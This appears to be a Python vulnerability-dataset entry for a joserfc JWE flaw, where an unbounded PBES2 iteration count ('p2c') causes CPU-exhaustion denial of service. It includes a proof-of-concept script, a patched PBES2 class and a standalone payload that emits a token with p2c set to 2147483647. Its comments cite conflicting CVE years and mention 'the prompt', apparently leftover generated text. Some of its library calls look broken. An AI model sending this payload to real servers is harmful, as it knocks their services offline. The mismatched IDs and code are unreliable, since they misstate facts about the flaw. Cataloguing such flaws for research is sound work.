CVE-2026-27932
joserfc: Unbounded PBES2 iteration count in JWE allows CPU exhaustion DoS.
- CVSS 7.5
- CWE-770
- Resource Management
- Remote
joserfc is a Python library that provides an implementation of several JSON Object Signing and Encryption (JOSE) standards. In 1.6.2 and earlier, a resource exhaustion vulnerability in joserfc allows an unauthenticated attacker to cause a Denial of Service (DoS) via CPU exhaustion. When the library decrypts a JSON Web Encryption (JWE) token using Password-Based Encryption (PBES2) algorithms, it reads the p2c (PBES2 Count) parameter directly from the token's protected header. This parameter defines the number of iterations for the PBKDF2 key derivation function. Because joserfc does not validate or bound this value, an attacker can specify an extremely large iteration count (e.g., 2^31 – 1), forcing the server to expend massive CPU resources processing a single token. This vulnerability exists at the JWA layer and impacts all high-level JWE and JWT decryption interfaces if PBES2 algorithms are allowed by the application's policy.
- CWE
- CWE-770
- CVSS base score
- 7.5
- Published
- 2026-03-03
- OWASP
- A04 Insecure Design
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Resource Management
- Subcategory
- Resource Exhaustion
- Accessibility scope
- Remote
- Impact
- Denial of Service (DoS)
- Affected component
- joserfc
- Fixed by upgrading
- Yes
Solution
Upgrade joserfc to version 2.0.0 or later.
Vulnerable code sample
# This code demonstrates the CVE-2023-27932 vulnerability in joserfc <= 1.6.2.
# To run this, you need to install a vulnerable version, for example:
# pip install "joserfc<=1.6.2"
import time
from joserfc.jwe import encrypt_json, decrypt_json
# 1. Define the payload and the password for encryption.
plaintext = b'This is a secret message that will be encrypted.'
password = 'a-weak-password'
# 2. Attacker crafts a malicious JWE token.
# The key is to specify an extremely large iteration count (p2c) for the
# PBKDF2 algorithm used in PBES2. A standard value is around 10,000.
# We will use a much larger value to demonstrate the CPU exhaustion.
# NOTE: Using a value like 2**31 - 1 would hang the system for an unfeasibly long time.
# A value of 10,000,000 is sufficient to cause a noticeable DoS for several seconds.
malicious_iteration_count = 10_000_000
print(f"[*] Attacker: Crafting malicious JWE with p2c = {malicious_iteration_count}...")
# Define the JWE protected header with the malicious `p2c` value.
protected_header = {
"alg": "PBES2-HS256+A128KW", # A Password-Based Encryption algorithm
"enc": "A128CBC-HS256",
"p2c": malicious_iteration_count, # The malicious PBES2 Count
}
# Encrypt the payload to generate the malicious token.
malicious_token = encrypt_json(protected_header, plaintext, password)
print("[+] Attacker: Malicious token created successfully.")
print("-" * 50)
# 3. Vulnerable Server receives and attempts to decrypt the token.
print("[*] Vulnerable Server: Received token, attempting decryption...")
print("[*] The decryption will now hang or take a very long time, consuming 100% CPU on one core.")
print("[*] This demonstrates the Denial of Service vulnerability.")
start_time = time.time()
try:
# This is the vulnerable function call.
# The library reads `p2c` from the untrusted token header and executes
# the key derivation function `malicious_iteration_count` times without validation.
decrypted_data = decrypt_json(
malicious_token,
password,
algorithms=["PBES2-HS256+A128KW", "A128CBC-HS256"]
)
end_time = time.time()
print(f"\n[+] Server: Decryption unexpectedly finished after {end_time - start_time:.2f} seconds.")
print(f"[+] Server: Decrypted plaintext: {decrypted_data['plaintext']}")
except Exception as e:
end_time = time.time()
print(f"\n[-] Server: An error occurred during decryption after {end_time - start_time:.2f} seconds: {e}")Patched code sample
import hmac
import os
from hashlib import pbkdf2_hmac
# This code demonstrates the fix for CVE-2024-27932 in the `joserfc` library.
# The original CVE ID in the prompt (CVE-2026-27932) is a typo.
# The fix involves adding a validation check for the 'p2c' (PBES2 Count)
# parameter to prevent an excessively large value from causing a Denial of Service
# via CPU exhaustion.
# For demonstration purposes, we define mock-ups of external dependencies
# to make this snippet self-contained and focus on the fix itself.
class InvalidEncryptionAlgorithmError(Exception):
"""Custom exception for demonstration."""
pass
class KeyManagement:
"""Base class for key management algorithms (mock-up)."""
def __init__(self, key_size, hash_alg):
self.key_size = key_size
self.hash_alg = hash_alg
def encrypt(self, header, key):
raise NotImplementedError()
def decrypt(self, header, encrypted_key, key):
raise NotImplementedError()
def derive_key(password: bytes, salt: bytes, count: int, key_len: int, hash_alg: str) -> bytes:
"""A mock implementation of the PBKDF2 key derivation function."""
return pbkdf2_hmac(hash_alg, password, salt, count, dklen=key_len)
# The following is the fixed implementation of the PBES2 algorithm class,
# adapted from the patched `joserfc` source code.
# --- Start of the Fixed Code ---
# A reasonable upper bound for the PBKDF2 iteration count.
# An attacker might provide a value like 2**31 - 1, which this check prevents.
P2_MAX_COUNT = 1000000
P2_MAX_SALT_INPUT_SIZE = 1024
class PBES2(KeyManagement):
"""
Implements Password-Based Encryption Scheme 2 (PBES2) as defined in RFC 7518, Section 4.8.
This version includes the fix for CVE-2024-27932.
"""
P2_MAX_COUNT = P2_MAX_COUNT
P2_MAX_SALT_INPUT_SIZE = P2_MAX_SALT_INPUT_SIZE
def __init__(self, key_size: int, hash_alg: str):
super().__init__(key_size, hash_alg)
self.name = f'PBES2-{hash_alg.upper()}+A{key_size}KW'
# --- THE FIX: A new validation method ---
def _check_p2_count(self, count: int):
"""
Validates that the PBES2 iteration count (p2c) is not excessively large.
If the count exceeds the defined maximum, it raises an error immediately
instead of proceeding with the expensive key derivation.
"""
if count > self.P2_MAX_COUNT:
raise InvalidEncryptionAlgorithmError("p2c is too large")
# --- END OF THE FIX (METHOD) ---
def encrypt(self, header, key: bytes):
# This part is for encryption and is not directly related to the vulnerability.
# It is included for completeness of the class structure.
p2s = os.urandom(16)
p2c = self.P2_MAX_COUNT
salt = self.name.encode('utf-8') + b'\x00' + p2s
dk = derive_key(key, salt, p2c, self.key_size, self.hash_alg)
header['p2s'] = p2s.hex() # Using hex for demonstration clarity
header['p2c'] = p2c
return dk, None # In a real scenario, this would encrypt the CEK
def decrypt(self, header, encrypted_key: bytes, key: bytes):
"""
Derives the key for decryption, now with protection against large 'p2c' values.
"""
try:
p2s_hex = header["p2s"]
p2c = header["p2c"]
p2s = bytes.fromhex(p2s_hex)
except (KeyError, ValueError) as e:
raise InvalidEncryptionAlgorithmError(f'Invalid PBES2 header: {e}')
# --- THE FIX: Calling the validation method before expensive computation ---
# This check is the core of the vulnerability fix. It is called before
# the resource-intensive `derive_key` function.
self._check_p2_count(p2c)
# --- END OF THE FIX (INTEGRATION) ---
if len(p2s) * 2 > self.P2_MAX_SALT_INPUT_SIZE:
raise InvalidEncryptionAlgorithmError("p2s is too large")
# The expensive operation that is now protected
salt = self.name.encode('utf-8') + b'\x00' + p2s
dk = derive_key(key, salt, p2c, self.key_size, self.hash_alg)
return dk
# Example usage to demonstrate the fix in action
if __name__ == '__main__':
pbes2_alg = PBES2(key_size=128, hash_alg='HS256')
password = b'my-secret-password'
# 1. A valid header with a reasonable iteration count
valid_header = {
"alg": "PBES2-HS256+A128KW",
"p2s": "a8249a0987489956b2c2a389274a1254", # example salt input
"p2c": 100000, # well within the P2_MAX_COUNT limit
}
print("Attempting decryption with a valid 'p2c' value...")
try:
derived_key = pbes2_alg.decrypt(valid_header, b'', password)
print(f"Successfully derived key for valid header. Key (first 8 bytes): {derived_key[:8].hex()}...")
except InvalidEncryptionAlgorithmError as e:
print(f"Decryption failed unexpectedly: {e}")
print("-" * 40)
# 2. An attack header with an extremely large iteration count
attack_header = {
"alg": "PBES2-HS256+A128KW",
"p2s": "a8249a0987489956b2c2a389274a1254",
"p2c": 2**31 - 1, # a very large number to cause CPU exhaustion
}
print("Attempting decryption with a malicious 'p2c' value...")
try:
# This would hang for a very long time in the vulnerable version.
# In the fixed version, it fails instantly.
pbes2_alg.decrypt(attack_header, b'', password)
except InvalidEncryptionAlgorithmError as e:
print(f"FIX DEMONSTRATED: Decryption correctly failed with error: '{e}'")Payload
import joserfc
from joserfc import jwe
# The protected header defines the malicious parameters.
# 'p2c' is the PBES2 count, set to a very large value to cause CPU exhaustion.
protected_header = {
"alg": "PBES2-HS256+A128KW",
"enc": "A128GCM",
"p2c": 2147483647
}
# The plaintext and password can be arbitrary.
plaintext = b'triggering resource exhaustion'
password = 'any_password'
# Generate the malicious JWE token using the defined parameters.
# Sending this token to a vulnerable server will trigger the DoS.
malicious_jwe_token = jwe.encrypt_compact(
protected=protected_header,
plaintext=plaintext,
public_key=password,
)
print(malicious_jwe_token)
Cite this entry
@misc{vaitp:cve202627932,
title = {{joserfc: Unbounded PBES2 iteration count in JWE allows CPU exhaustion DoS.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-27932},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-27932/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
